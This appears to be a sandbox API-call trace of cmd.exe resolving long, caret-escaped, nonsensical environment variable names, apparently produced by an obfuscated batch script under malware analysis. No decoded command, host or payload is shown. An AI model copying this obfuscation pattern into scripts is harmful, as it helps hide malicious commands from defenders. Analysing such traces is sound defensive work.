	[0056.984] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CMDCMDLINE") returned -5
	[0056.984] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="DATE") returned -6
	[0056.984] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="TIME") returned -22
	[0056.984] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="RANDOM") returned -20
	[0056.984] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.984] GetEnvironmentVariableW (in: lpName="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.984] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CD") returned -5
	[0056.984] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.984] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.984] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.984] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.984] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.984] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.984] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.984] GetEnvironmentVariableW (in: lpName="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CD") returned -5
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="DATE") returned -6
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="TIME") returned -22
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="RANDOM") returned -20
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.984] GetEnvironmentVariableW (in: lpName="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.984] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CD") returned -5
	[0056.985] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.985] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.985] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.985] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.985] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.985] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.985] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.985] GetEnvironmentVariableW (in: lpName="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.985] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CD") returned -5
	[0056.985] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.985] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.985] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.985] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.985] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.985] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.985] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.985] GetEnvironmentVariableW (in: lpName="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.985] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CD") returned 23
	[0056.985] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="ERRORLEVEL") returned 21
	[0056.985] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned 23
	[0056.985] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CMDCMDLINE") returned 23
	[0056.985] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="DATE") returned 22
	[0056.985] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="TIME") returned 6
	[0056.985] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="RANDOM") returned 8
	[0056.985] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned 18
	[0056.985] GetEnvironmentVariableW (in: lpName="R^en6w^L^P^j^y^{^7^y^jU^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.985] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CD") returned 15
	[0056.986] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="ERRORLEVEL") returned 13
	[0056.986] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CMDEXTVERSION") returned 15
	[0056.986] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CMDCMDLINE") returned 15
	[0056.986] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="DATE") returned 14
	[0056.986] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="TIME") returned -2
	[0056.986] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="RANDOM") returned -3
	[0056.986] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="HIGHESTNUMANODENUMBER") returned 10
	[0056.986] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CD") returned -5
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.986] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CD") returned -5
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="ERRORLEVEL") returned -7
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CMDEXTVERSION") returned -5
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CMDCMDLINE") returned -5
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="DATE") returned -6
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="TIME") returned -22
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="RANDOM") returned -20
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.986] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.986] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CD") returned -5
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="DATE") returned -6
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="TIME") returned -22
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="RANDOM") returned -20
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.987] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CD") returned -5
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="ERRORLEVEL") returned -7
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned -5
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CMDCMDLINE") returned -5
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="DATE") returned -6
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="TIME") returned -22
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="RANDOM") returned -20
	[0056.987] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.987] GetEnvironmentVariableW (in: lpName="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.987] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CD") returned -5
	[0056.987] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="ERRORLEVEL") returned -7
	[0056.987] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CMDEXTVERSION") returned -5
	[0056.987] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CMDCMDLINE") returned -5
	[0056.987] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="DATE") returned -6
	[0056.987] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="TIME") returned -22
	[0056.987] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="RANDOM") returned -20
	[0056.987] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.987] GetEnvironmentVariableW (in: lpName="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.987] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CD") returned -5
	[0056.988] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="ERRORLEVEL") returned -7
	[0056.988] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CMDEXTVERSION") returned -5
	[0056.988] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CMDCMDLINE") returned -5
	[0056.988] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="DATE") returned -6
	[0056.988] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="TIME") returned -22
	[0056.988] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="RANDOM") returned -20
	[0056.988] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.988] GetEnvironmentVariableW (in: lpName=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.988] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CD") returned -53
	[0056.988] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="ERRORLEVEL") returned -55
	[0056.988] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CMDEXTVERSION") returned -53
	[0056.988] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CMDCMDLINE") returned -53
	[0056.988] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="DATE") returned -54
	[0056.988] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="TIME") returned -70
	[0056.988] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="RANDOM") returned -68
	[0056.988] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="HIGHESTNUMANODENUMBER") returned -58
	[0056.988] GetEnvironmentVariableW (in: lpName="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.988] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CD") returned -5
	[0056.988] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="ERRORLEVEL") returned -7
	[0056.988] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CMDEXTVERSION") returned -5
	[0056.988] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CMDCMDLINE") returned -5
	[0056.988] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="DATE") returned -6
	[0056.988] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="TIME") returned -22
	[0056.988] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="RANDOM") returned -20
	[0056.988] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.988] GetEnvironmentVariableW (in: lpName="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.988] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CD") returned -5
	[0056.989] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="ERRORLEVEL") returned -7
	[0056.989] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CMDEXTVERSION") returned -5
	[0056.989] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CMDCMDLINE") returned -5
	[0056.989] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="DATE") returned -6
	[0056.989] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="TIME") returned -22
	[0056.989] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="RANDOM") returned -20
	[0056.989] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.989] GetEnvironmentVariableW (in: lpName="^w^L^]^6^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.989] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CD") returned -5
